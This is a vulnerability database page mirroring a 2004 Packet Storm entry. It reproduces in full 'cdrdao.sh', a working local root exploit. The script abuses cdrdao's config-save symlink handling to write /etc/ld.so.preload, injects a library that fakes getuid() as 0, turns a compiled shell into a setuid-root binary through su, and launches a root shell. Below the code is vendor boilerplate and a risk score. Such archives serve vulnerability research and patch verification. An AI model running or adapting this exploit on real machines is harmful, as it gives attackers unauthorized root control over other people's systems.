Lucene search
K

cdrdao.sh

🗓️ 09 Sep 2004 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Exploit script for cdrdao local root vulnerability using setuid shell and dynamic library.

Code
`  
  
#!/bin/sh  
  
DIR=`pwd`  
  
echo ""  
  
echo "cdrdao local root exploit - gr doesn't protect you this time"  
  
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"  
  
echo ""  
  
sleep 2  
  
umask 000  
  
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "  
  
if [ -f /etc/ld.so.preload ]; then  
  
echo "WRONG"  
  
echo "/etc/ld.so.preload exists, write another exploit ;P"  
  
exit  
  
else  
  
echo "OK"  
  
fi  
  
echo -n "[*] Checking if su is setuid ... "  
  
if [ -u /bin/su ];then  
  
echo "OK"  
  
else  
  
echo "WRONG"  
  
exit  
  
fi  
  
echo -n "[*] Creating evil *uid() library ... "  
  
cat > getuid_lib.c << _EOF  
  
int getuid(void) {  
  
return 0; }  
  
_EOF  
  
gcc -o getuid_lib.o -c getuid_lib.c  
  
ld -shared -o getuid_lib.so getuid_lib.o  
  
rm -f getuid_lib.c getuid_lib.o  
  
if [ -f ./getuid_lib.so ]; then  
  
echo "OK"  
  
else  
  
echo "WRONG"  
  
fi  
  
echo -n "[*] Creating suidshell ... "  
  
cat > suid.c << _EOF  
  
int main(void) {  
  
setgid(0); setuid(0);  
  
unlink("./suid");  
  
execl("/bin/sh","sh",0); }  
  
_EOF  
  
gcc -o suid suid.c  
  
rm -f suid.c  
  
if [ -x ./suid ];then  
  
echo "OK"  
  
else  
  
echo "WRONG"  
  
exit  
  
fi  
  
echo -n "[*] Exploiting cdrdao ... "  
  
ln -sf /etc/ld.so.preload $HOME/.cdrdao  
  
if [ ! -L $HOME/.cdrdao ];then  
  
echo "Could'n link to \$HOME/.cdrdao"  
  
exit  
  
fi  
  
cdrdao unlock --save 2>/dev/null  
  
>/etc/ld.so.preload  
  
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload  
  
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"  
  
if [ -s ./suid ];then  
  
echo "OK"  
  
else  
  
echo "WRONG"  
  
exit  
  
fi  
  
rm -f getuid_lib.so  
  
unlink $HOME/.cdrdao  
  
echo "Entering rootshell ... ;]"  
  
./suid  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Sep 2004 00:00Current
7.4High risk
Vulners AI Score7.4
22